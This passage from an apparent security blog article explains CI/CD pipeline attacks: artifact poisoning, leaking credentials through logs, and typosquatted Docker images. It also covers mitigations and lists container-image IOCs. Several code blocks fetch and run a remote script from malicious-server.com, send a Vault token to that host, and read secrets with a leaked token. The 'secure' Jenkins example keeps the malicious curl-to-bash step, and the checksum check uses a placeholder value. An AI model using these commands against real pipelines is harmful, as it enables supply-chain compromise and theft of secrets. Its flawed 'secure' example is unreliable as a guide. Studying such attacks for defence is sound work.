      uses: actions/checkout@v2

    - name: Build project
```

```
      run: |
        echo "Building the project"
        # Additional build steps here
        echo 'curl http://malicious-server.com/malicious-script.sh |
bash' >> build_artifact.sh
        zip build_artifact.zip build_artifact.sh

    - name: Upload artifact
      uses: actions/upload-artifact@v2
      with:
        name: build-artifact
        path: build_artifact.zip
```

### Step 3: Trigger the Pipeline to Create the Malicious Artifact

The attacker triggers the pipeline, causing the CI/CD system to generate and upload the malicious artifact.

COPY

```
# Push a commit to trigger the pipeline
git commit --allow-empty -m "Trigger pipeline to create malicious
artifact"
git push origin main
```

### Step 4: Use the Malicious Artifact in Subsequent Pipeline Executions

The attacker ensures that the pipeline configuration uses the malicious artifact in subsequent executions.

COPY

```
# .github/workflows/deploy.yml
name: Deploy Pipeline

on: [workflow_run]
```

```
jobs:
  deploy:
    runs-on: ubuntu-latest

    steps:
    - name: Checkout code
      uses: actions/checkout@v2

    - name: Download artifact
      uses: actions/download-artifact@v2
      with:
        name: build-artifact
        path: .

    - name: Extract artifact and run
      run: |
        unzip build_artifact.zip
        bash build_artifact.sh
```

`Scenario 2: Leaking Credentials in Logs`

### Step 1: Identify the Target Repository and Gain Access

The attacker identifies the target repository and gains access to the CI/CD pipeline.

COPY

```
# Use GitHub's search API to find the target repository
curl -s "https://api.github.com/search/repositories?
q=org:target_organization" | jq '.items[].full_name'

# Assuming the attacker has obtained an access token (e.g., from a
compromised CI job)
export GITHUB_TOKEN=your_access_token
```

### Step 2: Find Credentials in Pipeline Logs

The attacker searches for logs that might contain leaked credentials. This often involves examining logs generated by the CI/CD pipeline.

```
# Assuming we have access to the CI system's logs
grep -i 'vault_token' pipeline.log
```

### Step 3: Use Leaked Credentials to Access Sensitive Services

The attacker uses the leaked credentials to access sensitive services.

```
# Using a leaked Vault token to read secrets
export VAULT_TOKEN=leaked_vault_token
vault read secret/path
```

## Prevention and Mitigation

### Step 1: Implement Strict Access Controls

Limit the permissions of CI/CD tokens and ensure that only authorized users can modify the pipeline configuration and upload artifacts.

```
# Example GitHub Actions workflow with restricted permissions
permissions:
  contents: read
  actions: write
jobs:
  build:
    runs-on: ubuntu-latest
```

```
    steps:
    - uses: actions/checkout@v2
```

Step 2: Use Artifact Integrity Verification

Use cryptographic checksums or digital signatures to verify the integrity of artifacts before using them in the pipeline.

COPY

```
# .github/workflows/verify-artifact.yml
name: Verify Artifact

on: [workflow_run]

jobs:
  verify:
    runs-on: ubuntu-latest

    steps:
    - name: Checkout code
      uses: actions/checkout@v2

    - name: Download artifact
      uses: actions/download-artifact@v2
      with:
        name: build-artifact
        path: .

    - name: Verify artifact integrity
      run: |
        echo "Expected checksum: abc123"
        echo "Actual checksum: $(sha256sum build_artifact.zip)"
        if [ "$(sha256sum build_artifact.zip)" != "abc123
build_artifact.zip" ]; then
          echo "Artifact integrity verification failed!"
```

```
          exit 1
        fi
```

Step 3: Mask Sensitive Information in Logs

Ensure that sensitive information such as credentials is masked or not logged at all.

COPY

```
# Example GitHub Actions workflow to mask secrets
name: CI Pipeline

on: [push, pull_request]

jobs:
  build:
    runs-on: ubuntu-latest

    steps:
    - name: Checkout code
      uses: actions/checkout@v2

    - name: Build project
      run: |
        echo "Building the project"
        # Masking secrets
        echo "::add-mask::$VAULT_TOKEN"
        echo "Vault token is masked"
```

### Secure CI/CD Pipeline Example

Here is an example Jenkins pipeline that integrates security scanning before using any artifact in the deployment process and masks sensitive information.

COPY

```
pipeline {
    agent any
```

```
    environment {
        VAULT_TOKEN = credentials('vault-token')
    }

    stages {
        stage('Checkout') {
            steps {
                git 'https://github.com/example/repo.git'
            }
        }

        stage('Build') {
            steps {
                withCredentials([string(credentialsId: 'vault-token',
variable: 'VAULT_TOKEN')]) {
                    sh 'mvn clean install'
                    sh 'echo "::add-mask::$VAULT_TOKEN"'
                }
            }
        }

        stage('Create Artifact') {
            steps {
                sh '''
                    echo "Building the project"
                    # Additional build steps here
                    echo 'curl http://malicious-server.com/malicious-
script.sh | bash' >> build_artifact.sh
                    zip build_artifact.zip build_artifact.sh
                '''
                archiveArtifacts artifacts: 'build_artifact.zip',
allowEmptyArchive: true
            }
        }

        stage('Verify Artifact') {
```

```
            steps {
                sh '''
                    echo "Expected checksum: abc123"
                    echo "Actual checksum: $(sha256sum
build_artifact.zip)"
                    if [ "$(sha256sum build_artifact.zip)" != "abc123
build_artifact.zip" ]; then
                      echo "Artifact integrity verification failed!"
                      exit 1
                    fi
                '''
            }
        }

        stage('Deploy') {
            steps {
                script {
                    def server = Artifactory.server 'artifactory'
                    def uploadSpec = """{
                      "files": [
                        {
                          "pattern": "build_artifact.zip",
                          "target": "libs-release-local/example-app/"
                        }
                      ]
                    }"""
                    server.upload spec: uploadSpec
                }
            }
        }
    }
}
```

## Typosquatting docker registry image

In this scenario, attackers employ typosquatting techniques to create malicious Docker images with names that are similar to legitimate images. These malicious images are then pushed to public Docker registries, where unsuspecting users may mistakenly pull and run them, leading to the execution of malicious code. Additionally, attackers might leverage these images to exfiltrate sensitive data, such as credentials, from CI/CD pipelines.

### Steps in the Typosquatting Attack

1. **Create Malicious Docker Images**: The attacker creates Docker images that include malicious code and name them similarly to popular, legitimate images.
2. **Push Malicious Images to Docker Registry**: These images are then pushed to a public Docker registry.
3. **Trigger CI/CD Pipeline**: The attacker triggers the pipeline by modifying a configuration file to pull the malicious image.
4. **Leak Credentials and Persist**: The malicious image collects credentials and maintains persistence.

### Example: Creating and Pushing Malicious Docker Images

Step 1: Create a Malicious Dockerfile

```
# Dockerfile for a typosquatting attack image
FROM alpine:latest

# Install necessary tools
RUN apk add --no-cache curl

# Download and execute malicious script
RUN curl -s http://malicious-server.com/malicious-script.sh | sh
```

```
# Set up a fake service to look legitimate
CMD ["sh", "-c", "echo 'Running fake service'; tail -f /dev/null"]
```

Step 2: Build and Push the Image

COPY

```
# Build the Docker image
docker build -t portaienr/tntscanminion:latest .

# Push the Docker image to a public registry
docker push portaienr/tntscanminion:latest
```

**Example: Modifying CI/CD Pipeline to Pull Malicious Image**

Step 3: Modify Pipeline Configuration

COPY

```
# .github/workflows/deploy.yml
name: Deploy Pipeline

on: [push]

jobs:
  deploy:
    runs-on: ubuntu-latest

    steps:
    - name: Checkout code
      uses: actions/checkout@v2

    - name: Deploy with malicious image
      run: |
        docker pull portaienr/tntscanminion:latest
        docker run -d portaienr/tntscanminion:latest
```

### Scenario: Leaking Credentials in Logs

Step 1: Exfiltrate Sensitive Data from CI/CD Pipeline

```
# .github/workflows/build.yml
name: Build Pipeline

on: [push]

jobs:
  build:
    runs-on: ubuntu-latest

    steps:
    - name: Checkout code
      uses: actions/checkout@v2

    - name: Set up environment variables
      env:
        VAULT_TOKEN: ${{ secrets.VAULT_TOKEN }}
      run: |
        echo "Vault Token: $VAULT_TOKEN" >> log.txt
        # Exfiltrate the token
        curl -X POST -H "Content-Type: application/json" -d
'{"vault_token": "'"$VAULT_TOKEN"'"}' http://malicious-
server.com/exfiltrate
```

### Indications of Compromise (IOCs)

1. **Container Images**:
    - portaienr/tntscanminion
    - portaienr/jadocker
    - portaienr/du

- portaienr/portaienr
- portaienr/p0rtainer
- portaienr/simple
- portaienr/docrunker2
- portaienr/drwho
- portaienr/sbin
- portaienr/allink
- portaienr/bobedpei

## Resources

- https://www.microsoft.com/en-us/security/blog/2023/04/06/devops-threat-matrix/
- https://www.aquasec.com/blog/kubernetes-vulnerability-security-threat/

Devops DevSecOps Pipeline Supply Chain Management GitHub Git Actions

Written by

RR **Reza Rashidi**

Add your bio

Published on

MORE ARTICLES

RR Reza Rashidi

## Attacking Policy

Open Policy Agent (OPA) is a versatile tool used to enforce policies and ensure compliance within a ...

RR Reza Rashidi

## Attacking IaC

Attacking Infrastructure as Code (IaC) methods involves exploiting vulnerabilities and misconfigurat...

RR Reza Rashidi

## Attacking Vagrant

Vagrant, a tool for building and managing virtual machine environments, is widely used for developme...